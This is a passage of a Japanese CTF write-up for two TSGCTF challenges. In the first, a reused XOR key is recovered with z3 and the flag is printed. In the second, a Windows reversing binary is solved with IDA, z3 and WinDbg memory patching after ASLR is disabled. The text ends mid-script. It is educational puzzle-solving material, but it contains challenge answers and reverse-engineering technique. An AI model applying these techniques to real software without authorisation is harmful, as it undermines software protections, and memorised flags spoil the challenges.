njvE|| _4$_you_us
gZke\g _a|*pr0|*r
kd!*_( |\|cry|*+i
2k$FTs i$_ci|*|-|
1wUp$D 4_0ne_+i|\
-yoF|1 a|)_ra+h3|
0Z~e-g 4|\|_a_s+r
g1gF(r ph3r,_but_
kqUp$D ins3(u|2e_
``"xuh e_it_us3s_
vmoF$/ |\/|e_r4nd
mhUwuv 83r$_re|*3
6.9e)w y._enjoy_h
cmkqaD :-)-:)-:)

H|-|と表現していたり、M|\/|と表現していたりするようです。ここで内容をじっくり眺めると、固定部分が4_0ne_+i|\で終わっている箇所がありました。おそらくその次は、Nのleetなら|に、Mのleetなら/|になるはずです。試しに制約を追加して実行すると、|では充足不可でした。そのため/|になるよう制約を追加しました。文章からフラグエスパー箇所付近が追加内容です:

#!/usr/bin/env python3

import z3
import ast
import string
import re
import hashlib
import base64
import itertools

with open("output.py") as f:
    cipher = ast.literal_eval(f.readline().split(" = ")[1])
    flag_length = ast.literal_eval(f.readline().split(" = ")[1])
    assert flag_length == 304

flag_prefix = "TSGCTF{"
# size_md5_digest = 16
size_md5_digest_base64 = 24 # b'CY9rzUYh03PK3k6DJie09g=='等、後ろ2文字は=になるはず
size_flag_content = flag_length - (len(flag_prefix) + len("@") + size_md5_digest_base64 + len("}"))
solver = z3.Solver()
keys = [z3.BitVec(f"key_stream_{i:02d}", 8) for i in range(16)]

def add_key_range(c, candidates:str):
    solver.add(0x21 <= c)
    solver.add(c <= 0x7e)
    for i in range(0x20, 0x7f):
        if chr(i) not in candidates:
            solver.add(c != i)
pattern = re.compile("[a-zA-Z0-9!-/:-?\[-`|~]+")
pattern_candidates = ""
for i in range(0x20, 0x7f):
    if pattern.fullmatch(chr(i)):
        pattern_candidates += chr(i)
print(f"{pattern_candidates = }")

# フラグ先頭箇所
for (i, v) in enumerate(flag_prefix):
    solver.add(keys[i % len(keys)] ^ ord(flag_prefix[i]) == cipher[i])

# flag_content箇所
for i in range(size_flag_content):
    offset_cipher = len(flag_prefix) + i
    offset_key = offset_cipher % len(keys)
    c = keys[offset_key] ^ cipher[offset_cipher]
    add_key_range(c, pattern_candidates)

# @箇所
offset_atmark = len(flag_prefix) + size_flag_content
solver.add(keys[offset_atmark % len(keys)] ^ ord("@") == cipher[offset_atmark])

# base64箇所
for i in range(size_md5_digest_base64):
    offset_cipher = len(flag_prefix) + size_flag_content + len("@") + i
    offset_key = offset_cipher % len(keys)
    c = keys[offset_key] ^ cipher[offset_cipher]
    if i + 2 < size_md5_digest_base64:
        add_key_range(c, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")
    else:
        add_key_range(c, "=")

# 最後
offset_closing = flag_length - 1
solver.add(keys[offset_closing % len(keys)] ^ ord("}") == cipher[offset_closing])

# 文章からフラグエスパー
solver.add(keys[len(flag_prefix)] ^ cipher[len(flag_prefix) + (16*8)] == ord("/"))
solver.add(keys[len(flag_prefix)+1] ^ cipher[len(flag_prefix) + (16*8)+1] == ord("|"))

try_count = 0
while True:
    try_count += 1
    if try_count % 100 == 0:
        print(try_count)
    if solver.check() != z3.sat:
        raise Exception("Can not solve...")

    model = solver.model()
    secret = []
    for key in keys:
        secret.append(model[key].as_long())
    print(f"{secret = }")
    flag = ""
    for (i, v) in enumerate(cipher):
        flag += chr(v ^ secret[i % len(secret)])

    # ↓break条件検証用
    # flag = "TSGCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@imCnzn5osIF808i4bROFMg==}"
    flag_content = flag[len(flag_prefix) : len(flag_prefix)+size_flag_content]
    flag_md5_base64 = flag[-(size_md5_digest_base64+1) : -1]

    def chunks(lst, n):
        """Yield successive n-sized chunks from lst."""
        for i in range(0, len(lst), n):
            yield lst[i:i + n]
    print(flag)
    for chunk in chunks(flag_content, 16):
        print(chunk)
    print(flag_md5_base64)
    if base64.b64encode(hashlib.md5(flag_content.encode()).digest()) == flag_md5_base64.encode():
        print(flag)
        print("Solved!")
        break
    # 同じ解を出さないための制約を追加 https://stackoverflow.com/questions/11867611/z3py-checking-all-solutions-for-equation/70656700#70656700
    block = []
    for i in range(len(keys)):
        block.append(keys[i] != secret[i])
    solver.add(z3.Or(block))

実行しました:

$ time ./solve_esper.py
(略)
secret = [247, 176, 17, 0, 156, 72, 203, 232, 13, 179, 42, 62, 83, 41, 241, 70]
TSGCTF{The_l0n63|2_+|-|3_fla6_the_saf3|2_i+_m4`/_8e_as_lo|\|g_4$_you_use_a|\|_a|*pr0|*ria+3_3|\|cry|*+i0n._Thi$_ci|*|-|3r_i$_4_0ne_+i|\/|e_|*a|)_ra+h3|2_t|-|4|\|_a_s+re4m_(iph3r,_but_it_i$_ins3(u|2e_be(ause_it_us3s_the_$4|\/|e_r4ndom_num83r$_re|*34+3|)ly._enjoy_hahaha_:-)-:)-:)@TWp6sQXidRLICfdhOMY+IA==}
The_l0n63|2_+|-|
3_fla6_the_saf3|
2_i+_m4`/_8e_as_
lo|\|g_4$_you_us
e_a|\|_a|*pr0|*r
ia+3_3|\|cry|*+i
0n._Thi$_ci|*|-|
3r_i$_4_0ne_+i|\
/|e_|*a|)_ra+h3|
2_t|-|4|\|_a_s+r
e4m_(iph3r,_but_
it_i$_ins3(u|2e_
be(ause_it_us3s_
the_$4|\/|e_r4nd
om_num83r$_re|*3
4+3|)ly._enjoy_h
ahaha_:-)-:)-:)
TWp6sQXidRLICfdhOMY+IA==
TSGCTF{The_l0n63|2_+|-|3_fla6_the_saf3|2_i+_m4`/_8e_as_lo|\|g_4$_you_use_a|\|_a|*pr0|*ria+3_3|\|cry|*+i0n._Thi$_ci|*|-|3r_i$_4_0ne_+i|\/|e_|*a|)_ra+h3|2_t|-|4|\|_a_s+re4m_(iph3r,_but_it_i$_ins3(u|2e_be(ause_it_us3s_the_$4|\/|e_r4ndom_num83r$_re|*34+3|)ly._enjoy_hahaha_:-)-:)-:)@TWp6sQXidRLICfdhOMY+IA==}
Solved!
./solve_esper.py  3.06s user 0.25s system 99% cpu 3.346 total
$

約3秒でフラグを入手できました: TSGCTF{The_l0n63|2_+|-|3_fla6_the_saf3|2_i+_m4`/_8e_as_lo|\|g_4$_you_use_a|\|_a|*pr0|*ria+3_3|\|cry|*+i0n._Thi$_ci|*|-|3r_i$_4_0ne_+i|\/|e_|*a|)_ra+h3|2_t|-|4|\|_a_s+re4m_(iph3r,_but_it_i$_ins3(u|2e_be(ause_it_us3s_the_$4|\/|e_r4ndom_num83r$_re|*34+3|)ly._enjoy_hahaha_:-)-:)-:)@TWp6sQXidRLICfdhOMY+IA==}

leet内容は、多分The longer the flag the safer it may be as long as you use an appropriate encryption. This cipher is a one time pad rather than a stream cipher, but it is insecure because it uses the same random numbers repeatedly. Enjoy hahaha :-)-:)-:)だと思います。

[Reversing, beginner, easy] beginners_rev_2023 (24 team solved, 189 points)

一つ一つ対処していくとしよう。

初心者向けのヒント:

GhidraやIDA Freeなどで全体の処理を見てみよう
x64dbgやWindbgを使って動かしてみよう
暗号化の方式ややっている処理はググれば出てくるかも?
入力した文字列は最終的に何と比べられているのだろう
各処理を元に戻していこう

配布ファイルとして、問題本体のbeginners-rev-2023.exeがありました:

$ file *
beginners-rev-2023.exe:     PE32+ executable (console) x86-64, for MS Windows
$

そうですEXEです、ELFではありません。とりあえずIDAで開いて真面目に色々調査しました。暗号処理に使用している構造体は以下の内容のようでした:

00000000 EncryptionContext struc ; (sizeof=0x408, mappedto_34)
00000000 dwSomething0    dd ?
00000004 dwSomething4    dd ?
00000008 dwArraySboxSize256 dd 256 dup(?)
00000408 EncryptionContext ends

S-boxは4バイト整数型の配列ですが、デバッガーで見る限りは下位1バイトのみを使用しているように見えました。

main関数の逆コンパイル結果に、リネームや型付けをした結果です:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  EncryptionContext *pContext; // rdi
  __int64 dwKeyLength; // rdx
  BYTE *pByteArrayFromInputtedFlag; // rbx
  __int64 dwBlockSize; // rsi
  BYTE *pCharToModifyInputtedFlag; // rdx
  __int64 dwRestRoundCount; // r8
  unsigned __int64 v9; // rax
  BYTE *v10; // rax
  unsigned __int64 v11; // rcx
  int bIsWrong; // eax
  const char *pStrOutput; // rcx
  char strSomeKey[16]; // [rsp+20h] [rbp-238h] BYREF
  BYTE byteArrayEncryptedFlagSize0x210[528]; // [rsp+30h] [rbp-228h] BYREF

  pContext = (EncryptionContext *)malloc(sizeof(EncryptionContext));
  dwKeyLength = -1i64;
  pContext->dwSomething0 = 0;
  pContext->dwSomething4 = 0;
  strcpy(strSomeKey, "2023TTSSGG2023!");        // 末尾NUL文字含めて16バイト
  do
    ++dwKeyLength;
  while ( strSomeKey[dwKeyLength] );            // 試しても実際長さは15
  InitializeSbox((BYTE *)pContext, dwKeyLength, strSomeKey);
  pByteArrayFromInputtedFlag = (BYTE *)malloc(0x201ui64);
  memset(pByteArrayFromInputtedFlag, 0, 0x201ui64);
  printf("Flag> ");
  scanf("%s", pByteArrayFromInputtedFlag);
  memset(byteArrayEncryptedFlagSize0x210, 0, 0x201ui64);
  dwBlockSize = 2i64;                           // 1ブロック256バイトらしい
  pCharToModifyInputtedFlag = pByteArrayFromInputtedFlag + 24;
  dwRestRoundCount = 2i64;
  do
  {
    *((_QWORD *)pCharToModifyInputtedFlag - 3) ^= *((_QWORD *)pCharToModifyInputtedFlag - 3) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag - 2) ^= *((_QWORD *)pCharToModifyInputtedFlag - 2) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag - 1) ^= *((_QWORD *)pCharToModifyInputtedFlag - 1) >> 12;
    *(_QWORD *)pCharToModifyInputtedFlag ^= *(_QWORD *)pCharToModifyInputtedFlag >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 1) ^= *((_QWORD *)pCharToModifyInputtedFlag + 1) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 2) ^= *((_QWORD *)pCharToModifyInputtedFlag + 2) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 3) ^= *((_QWORD *)pCharToModifyInputtedFlag + 3) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 4) ^= *((_QWORD *)pCharToModifyInputtedFlag + 4) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 5) ^= *((_QWORD *)pCharToModifyInputtedFlag + 5) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 6) ^= *((_QWORD *)pCharToModifyInputtedFlag + 6) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 7) ^= *((_QWORD *)pCharToModifyInputtedFlag + 7) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 8) ^= *((_QWORD *)pCharToModifyInputtedFlag + 8) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 9) ^= *((_QWORD *)pCharToModifyInputtedFlag + 9) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 10) ^= *((_QWORD *)pCharToModifyInputtedFlag + 10) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 11) ^= *((_QWORD *)pCharToModifyInputtedFlag + 11) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 12) ^= *((_QWORD *)pCharToModifyInputtedFlag + 12) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 13) ^= *((_QWORD *)pCharToModifyInputtedFlag + 13) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 14) ^= *((_QWORD *)pCharToModifyInputtedFlag + 14) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 15) ^= *((_QWORD *)pCharToModifyInputtedFlag + 15) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 16) ^= *((_QWORD *)pCharToModifyInputtedFlag + 16) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 17) ^= *((_QWORD *)pCharToModifyInputtedFlag + 17) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 18) ^= *((_QWORD *)pCharToModifyInputtedFlag + 18) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 19) ^= *((_QWORD *)pCharToModifyInputtedFlag + 19) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 20) ^= *((_QWORD *)pCharToModifyInputtedFlag + 20) >> 12;
    v9 = *((_QWORD *)pCharToModifyInputtedFlag + 21);
    pCharToModifyInputtedFlag += 256;
    *((_QWORD *)pCharToModifyInputtedFlag - 11) = v9 ^ (v9 >> 12);
    *((_QWORD *)pCharToModifyInputtedFlag - 10) ^= *((_QWORD *)pCharToModifyInputtedFlag - 10) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag - 9) ^= *((_QWORD *)pCharToModifyInputtedFlag - 9) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag - 8) ^= *((_QWORD *)pCharToModifyInputtedFlag - 8) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag - 7) ^= *((_QWORD *)pCharToModifyInputtedFlag - 7) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag - 6) ^= *((_QWORD *)pCharToModifyInputtedFlag - 6) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag - 5) ^= *((_QWORD *)pCharToModifyInputtedFlag - 5) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag - 4) ^= *((_QWORD *)pCharToModifyInputtedFlag - 4) >> 12;
    --dwRestRoundCount;
  }
  while ( dwRestRoundCount );
  Encrypt(
    pContext,                                   // 関数中で書き換えられる
    (__int64)pCharToModifyInputtedFlag,         // 未使用引数
    pByteArrayFromInputtedFlag,
    byteArrayEncryptedFlagSize0x210);
  v10 = &byteArrayEncryptedFlagSize0x210[24];
  do
  {
    *((_QWORD *)v10 - 3) ^= *((_QWORD *)v10 - 3) >> 12;
    *((_QWORD *)v10 - 2) ^= *((_QWORD *)v10 - 2) >> 12;
    *((_QWORD *)v10 - 1) ^= *((_QWORD *)v10 - 1) >> 12;
    *(_QWORD *)v10 ^= *(_QWORD *)v10 >> 12;
    *((_QWORD *)v10 + 1) ^= *((_QWORD *)v10 + 1) >> 12;
    *((_QWORD *)v10 + 2) ^= *((_QWORD *)v10 + 2) >> 12;
    *((_QWORD *)v10 + 3) ^= *((_QWORD *)v10 + 3) >> 12;
    *((_QWORD *)v10 + 4) ^= *((_QWORD *)v10 + 4) >> 12;
    *((_QWORD *)v10 + 5) ^= *((_QWORD *)v10 + 5) >> 12;
    *((_QWORD *)v10 + 6) ^= *((_QWORD *)v10 + 6) >> 12;
    *((_QWORD *)v10 + 7) ^= *((_QWORD *)v10 + 7) >> 12;
    *((_QWORD *)v10 + 8) ^= *((_QWORD *)v10 + 8) >> 12;
    *((_QWORD *)v10 + 9) ^= *((_QWORD *)v10 + 9) >> 12;
    *((_QWORD *)v10 + 10) ^= *((_QWORD *)v10 + 10) >> 12;
    *((_QWORD *)v10 + 11) ^= *((_QWORD *)v10 + 11) >> 12;
    *((_QWORD *)v10 + 12) ^= *((_QWORD *)v10 + 12) >> 12;
    *((_QWORD *)v10 + 13) ^= *((_QWORD *)v10 + 13) >> 12;
    *((_QWORD *)v10 + 14) ^= *((_QWORD *)v10 + 14) >> 12;
    *((_QWORD *)v10 + 15) ^= *((_QWORD *)v10 + 15) >> 12;
    *((_QWORD *)v10 + 16) ^= *((_QWORD *)v10 + 16) >> 12;
    *((_QWORD *)v10 + 17) ^= *((_QWORD *)v10 + 17) >> 12;
    *((_QWORD *)v10 + 18) ^= *((_QWORD *)v10 + 18) >> 12;
    *((_QWORD *)v10 + 19) ^= *((_QWORD *)v10 + 19) >> 12;
    *((_QWORD *)v10 + 20) ^= *((_QWORD *)v10 + 20) >> 12;
    v11 = *((_QWORD *)v10 + 21);
    v10 += 256;
    *((_QWORD *)v10 - 11) = v11 ^ (v11 >> 12);
    *((_QWORD *)v10 - 10) ^= *((_QWORD *)v10 - 10) >> 12;
    *((_QWORD *)v10 - 9) ^= *((_QWORD *)v10 - 9) >> 12;
    *((_QWORD *)v10 - 8) ^= *((_QWORD *)v10 - 8) >> 12;
    *((_QWORD *)v10 - 7) ^= *((_QWORD *)v10 - 7) >> 12;
    *((_QWORD *)v10 - 6) ^= *((_QWORD *)v10 - 6) >> 12;
    *((_QWORD *)v10 - 5) ^= *((_QWORD *)v10 - 5) >> 12;
    *((_QWORD *)v10 - 4) ^= *((_QWORD *)v10 - 4) >> 12;
    --dwBlockSize;
  }
  while ( dwBlockSize );                        // 2回ループ
  bIsWrong = memcmp(byteArrayEncryptedFlagSize0x210, g_byteArrayExptededResult, 0x200ui64);
  pStrOutput = "Correct!!!";
  if ( bIsWrong )
    pStrOutput = "Wrong...";
  puts(pStrOutput);
  return 0;
}

main関数では以下のことを行っています:

  1. 固定鍵2023TTSSGG2023!を使ったS-boxの初期化する。
  2. scanf関数でフラグの読み込む
  3. 読み込んだフラグを8バイトずつ区切ってd ^= (d>>12)相当の加工をする。
  4. ↑の加工結果を暗号化する。
  5. ↑の暗号化結果を8バイトずつ区切ってd ^= (d>>12)相当の加工をする。
  6. ↑の加工結果が、期待するグローバル変数内容と一致するか検証する。

S-boxの初期化処理や暗号化処理を見るに、暗号化処理はRC4そのものに見えました。しかし試しにRC4でフラグを復号しようとしましたが、どうにもうまくいきませんでした、悲しい。ブロックサイズらしいものがある点が何か特別なのかもしれません。

とはいえ、RC4暗号に見えるくらいには「内部状態のS-boxを更新して、XORで暗号化」をしていました。すなわちストリーム暗号として動作しているようでした。ストリーム暗号ということは暗号化と復号が完全に同一であること意味します。以下のフラグ算出方法を思いつきました:

  1. 期待するグローバル変数内容について「8バイトずつ区切ってd ^= (d>>12)相当の加工」の逆演算を行う。
  2. 本問題のプログラムを動作させて暗号化直前にブレークさせ、↑の逆演算結果が入力になるよう改ざんする。
  3. 「暗号化」結果を確認する。
  4. 確認結果について「8バイトずつ区切ってd ^= (d>>12)相当の加工」の逆演算を行い、フラグを算出する。

ひとまず「期待するグローバル変数内容について「d ^= (d>>12)相当の加工」の逆演算を行う」コードを書きました。z3は部分問題を解く上で心強い味方です:

#!/usr/bin/env python3

import struct
import z3

# `x ^ (x >> 12)`の逆関数です。
def inv_xor_shr12(x):
    s = z3.Solver()
    v = z3.BitVec("v", 64)
    s.add(v ^ (z3.LShR(v, 12)) == x)
    if s.check() == z3.sat:
        return s.model()[v].as_long()
    raise Exception("Can not satisfied")

def inv_xor_shr12_bytearray(b):
    for i in range(len(b) // 8):
        v = struct.unpack("<Q", b[i*8:(i+1)*8])[0]
        # print(f"{i=}, {v=:16x}")
        original = inv_xor_shr12(v)
        b[i*8:(i+1)*8] = struct.pack("<Q", original)

# IDAで「.data:0000000140004040」以降をしばらく範囲選択して、Shift+Eで「Export data」して取得しました
expected = bytearray.fromhex("07 56 E5 58 71 89 9A CA F0 67 03 2D 49 FB 6E 86 C2 F7 48 CA 3C 43 DB 8E 04 2A 56 4A 97 33 A1 A2 07 83 F0 89 19 13 77 B4 9F 7D 7B 9C DD 8E FD AD B5 E2 28 0E 06 AF E5 E3 86 C3 08 AD E6 4C DE 63 A3 5F 1E 96 34 7D 9D 19 F5 C8 84 7F 7B 62 2A 6B C1 28 3B 6D 09 EF FC CB A0 90 9A 3E 66 A2 4E 06 90 2C 9D AE 3C 99 40 53 4C 69 63 E7 B9 A8 B3 87 A5 97 98 FE 1F 20 51 A7 AE 0D 00 AB 16 35 59 3D 08 1B 1C 92 E2 4F 1D 86 A5 6E 0A 14 45 4D 61 08 69 C3 12 A2 EB 50 13 93 22 E2 C4 10 CA 5F B2 0B A2 30 C8 54 91 3A 37 FD D2 10 AB 5A F8 38 F3 D3 D5 85 58 DE DF C0 F4 17 4E F7 31 79 DD 41 2F B3 20 C7 EC 98 5E AE F7 A9 CB 27 13 72 FE CA 64 FF 43 93 80 3E 1E E5 99 BF 41 4B 9D 85 4E 0F 99 94 57 E1 63 D9 01 85 78 8A 06 FE 9D 41 32 74 55 83 B2 85 E9 9F C6 2C 4B 62 8F BF 7D 57 C8 76 3B 31 5E 87 60 89 35 41 C1 52 6C D0 0B 7D CA 60 5D 82 19 B0 96 5E 16 E7 9B 2F 37 5F C9 C5 F3 20 C3 45 CB 47 A1 CC 79 E5 B6 FB D4 55 DB C1 35 9B 8B FA 38 D5 B2 B5 E0 4F 4D 6C 4F 8C 0C 42 BC 8E B3 78 48 E4 87 8E 34 A3 1D 01 53 98 71 FA 8F 2F E3 7A 6B B9 1B B6 7E 34 7F C8 C4 6C AB 45 4D 81 EF EE C3 D9 DB 13 5B 63 90 FC 34 18 81 BC D1 18 48 BB 7C 24 5B 56 2B 35 6B D7 F9 D3 D5 2B E2 24 D8 50 F1 EC D5 E6 29 55 66 F2 F7 28 20 7D F3 47 40 03 11 4A 47 A5 B4 74 15 35 D0 F0 E5 4C 04 B5 59 FE FC 45 9D 3A A1 3F 1A A7 A8 51 E5 65 F1 56 EE DE FC C4 87 F5 FA 79 31 07 0A 3F 41 28 D1 59 17 4D 02 E4 5A 22 3A BC D2 CD 80 BC 2A 49 F0 7F 97 A1 90 59 01 8D 25 43 D8 00 EA D8 4F E2 4E 2B 06 FD 7E 16 A9 92 C4 FD B5 6A 82 06 18 0C 0A B7 B8 29 8F 87 63 65 25 B9 7A D0 6E 30 3C F2 F7 C2 30 86")

inv_xor_shr12_bytearray(expected)
print("restored bitshift+xor: ", end="")
print(' '.join(map(lambda b:f"{b:02x}", expected)))

実行しました:

$ ./solve1.py
restored bitshift+xor: 0b cb d0 59 13 20 96 ca 39 97 0c ff 20 9d 66 86 67 55 2a 2a 06 ae d3 8e be a9 3b d8 26 19 ab a2 cb c0 3c c4 dc 54 7c b4 ae 12 f3 86 a8 51 f7 ad 2e bf d9 15 bf 91 eb e3 b1 72 13 bb 61 71 d8 63 9f c4 b3 d9 fa e4 9c 19 cd 86 e3 74 b6 d0 2c 6b 1e f7 fd 6d 0c 50 f0 cb 5f f3 3f 56 8a c6 4e 06 3a a3 fa 78 66 ad 45 53 ad 1b 2e d7 04 d3 bb 87 88 d4 32 a4 aa 55 5b a7 0e 05 8a a0 b8 e0 5a 3d b0 8a 1b 79 b0 2e 15 86 a2 77 90 a1 59 cb 61 08 f3 af c9 b6 4d 61 1a 93 32 0a 81 5e e4 e4 b2 0b e4 63 34 c5 1f e9 38 fd 48 a2 29 2b 18 07 fe d3 7b e4 1a 26 84 bf f5 17 11 fe 95 40 9a 73 24 b3 6c c4 34 80 8d 31 fd a9 4f 4b c8 b6 4d 3c 6b ff b7 44 7f fd 3f 1c 92 bf 74 58 33 e1 4a 46 90 94 90 74 5c f9 03 22 70 8a 86 01 f8 5f e6 41 5d 83 34 6d 88 1e 16 08 4d 62 57 86 9d 03 4e 65 38 31 08 62 55 5e 73 6d c4 52 f5 9e e9 24 9e 45 55 82 c4 de ed b6 87 1e 99 2f af 87 89 0d 84 7c c7 45 fd 61 63 22 ec 5e b9 fb 97 3e b4 f6 76 33 84 fa 15 d6 32 00 58 8b 4b 6c 9a 50 cd 1d fc 05 b4 78 96 e3 7d a0 ef b2 1d 01 ac f8 0f e6 c7 81 e4 7a 52 9d 43 82 45 b3 73 c8 c2 6d 10 b0 5b 6f e1 ee c7 45 c0 b9 a1 aa 9f fc 57 3b 36 72 eb ac 43 bb ac 0e ad 62 4f 43 66 d7 1c 5e de b8 30 29 dd 50 72 3f 38 dd be 73 69 f2 b7 0e 64 42 f4 73 40 03 9d c8 28 f8 d6 25 16 35 c5 5f f1 4a 61 50 56 fe f8 49 c0 d0 a5 4e 10 a7 14 c5 4b e9 ca b8 e3 de db 76 22 5b ea 0a 31 07 bf 52 db a6 e9 88 13 4d 93 1d 99 3f dc 61 de cd 00 08 48 2b 26 66 9d a1 e2 28 17 67 a1 4e d8 00 48 2d 5a 5f d1 fb 09 fd 12 cd b6 fd f1 56 b3 6a c4 6f 94 c6 a8 2c ba 29 37 8f 8b 80 5e be 77 d0 48 6e e2 e5 7d a1 38 86
$

ここで求めた結果を、デバッガー経由で「暗号化」させることで復号します。CFF Explorerで本問題のバイナリを確認すると、Optional HeaderDllCharacteristics箇所でDLL can moveが有効な状態でした。その状態はバイナリのASLRが有効であることを表します。ASLRが有効だとブレークポイント設置が大変なので、CFF ExplorerでDLL can moveを無効に設定して、別途保存しました。

WinDbgで、ASLRを無効化したバイナリを開いて、以下のコマンドで確認しました。入力には適当にtestを与えました:

0:000> bu 0x0000000140001B59
0:000> g
Breakpoint 0 hit
beginners_rev_2023_Removed_DllCanMove+0x1b59:
00000001`40001b59 e882f5ffff      call    beginners_rev_2023_Removed_DllCanMove+0x10e0 (00000001`400010e0)
0:000> db @r8
00000000`005ebe40  42 22 74 74 00 00 00 00-00 00 00 00 00 00 00 00  B"tt............
00000000`005ebe50  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000000`005ebe60  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000000`005ebe70  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000000`005ebe80  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000000`005ebe90  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000000`005ebea0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00000000`005ebeb0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0:000> eb @r8 0b cb d0 59 13 20 96 ca 39 97 0c ff 20 9d 66 86 67 55 2a 2a 06 ae d3 8e be a9 3b d8 26 19 ab a2 cb c0 3c c4 dc 54 7c b4 ae 12 f3 86 a8 51 f7 ad 2e bf d9 15 bf 91 eb e3 b1 72 13 bb 61 71 d8 63 9f c4 b3 d9 fa e4 9c 19 cd 86 e3 74 b6 d0 2c 6b 1e f7 fd 6d 0c 50 f0 cb 5f f3 3f 56 8a c6 4e 06 3a a3 fa 78 66 ad 45 53 ad 1b 2e d7 04 d3 bb 87 88 d4 32 a4 aa 55 5b a7 0e 05 8a a0 b8 e0 5a 3d b0 8a 1b 79 b0 2e 15 86 a2 77 90 a1 59 cb 61 08 f3 af c9 b6 4d 61 1a 93 32 0a 81 5e e4 e4 b2 0b e4 63 34 c5 1f e9 38 fd 48 a2 29 2b 18 07 fe d3 7b e4 1a 26 84 bf f5 17 11 fe 95 40 9a 73 24 b3 6c c4 34 80 8d 31 fd a9 4f 4b c8 b6 4d 3c 6b ff b7 44 7f fd 3f 1c 92 bf 74 58 33 e1 4a 46 90 94 90 74 5c f9 03 22 70 8a 86 01 f8 5f e6 41 5d 83 34 6d 88 1e 16 08 4d 62 57 86 9d 03 4e 65 38 31 08 62 55 5e 73 6d c4 52 f5 9e e9 24 9e 45 55 82 c4 de ed b6 87 1e 99 2f af 87 89 0d 84 7c c7 45 fd 61 63 22 ec 5e b9 fb 97 3e b4 f6 76 33 84 fa 15 d6 32 00 58 8b 4b 6c 9a 50 cd 1d fc 05 b4 78 96 e3 7d a0 ef b2 1d 01 ac f8 0f e6 c7 81 e4 7a 52 9d 43 82 45 b3 73 c8 c2 6d 10 b0 5b 6f e1 ee c7 45 c0 b9 a1 aa 9f fc 57 3b 36 72 eb ac 43 bb ac 0e ad 62 4f 43 66 d7 1c 5e de b8 30 29 dd 50 72 3f 38 dd be 73 69 f2 b7 0e 64 42 f4 73 40 03 9d c8 28 f8 d6 25 16 35 c5 5f f1 4a 61 50 56 fe f8 49 c0 d0 a5 4e 10 a7 14 c5 4b e9 ca b8 e3 de db 76 22 5b ea 0a 31 07 bf 52 db a6 e9 88 13 4d 93 1d 99 3f dc 61 de cd 00 08 48 2b 26 66 9d a1 e2 28 17 67 a1 4e d8 00 48 2d 5a 5f d1 fb 09 fd 12 cd b6 fd f1 56 b3 6a c4 6f 94 c6 a8 2c ba 29 37 8f 8b 80 5e be 77 d0 48 6e e2 e5 7d a1 38 86
0:000> r @r9
r9=000000000014fcc0
0:000> p
beginners_rev_2023_Removed_DllCanMove+0x1b5e:
00000001`40001b5e 488d442448      lea     rax,[rsp+48h]
0:000> db 0x000000000014fcc0
00000000`0014fcc0  21 67 03 26 e0 d1 7c 79-c7 00 58 24 f7 33 6a 64  !g.&..|y..X$.3jd
00000000`0014fcd0  b8 33 58 47 64 01 36 37-27 98 e1 59 1b c7 72 5f  .3XGd.67'..Y..r_
00000000`0014fce0  c4 75 69 57 15 f4 75 79-83 22 79 56 34 90 31 5f  .uiW..uy."yV4.1_
00000000`0014fcf0  27 98 e1 59 1b c7 72 5f-c4 75 69 57 15 f4 75 79  '..Y..r_.uiW..uy
00000000`0014fd00  83 42 dc 01 9b f6 59 6c-85 57 28 c5 31 4c 33 61  .B....Yl.W(.1L3a
00000000`0014fd10  95 f6 49 8f 87 78 68 31-98 62 58 63 d3 47 6d 37  ..I..xh1.bXc.Gm7
00000000`0014fd20  e4 75 7d 00 00 00 00 00-00 00 00 00 00 00 00 00  .u}.............
00000000`0014fd30  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

ここで復号した結果を、改めて「d ^= (d>>12)相当の加工」の逆演算を行うコードを書きました:

#!/usr/bin/env python3

import struct
import z3

# `x ^ (x >> 12)`の逆関数です。
def inv_xor_shr12(x):
    s = z3.Solver()
    v = z3.BitVec("v", 64)
    s.add(v ^ (z3.LShR(v, 12)) == x)
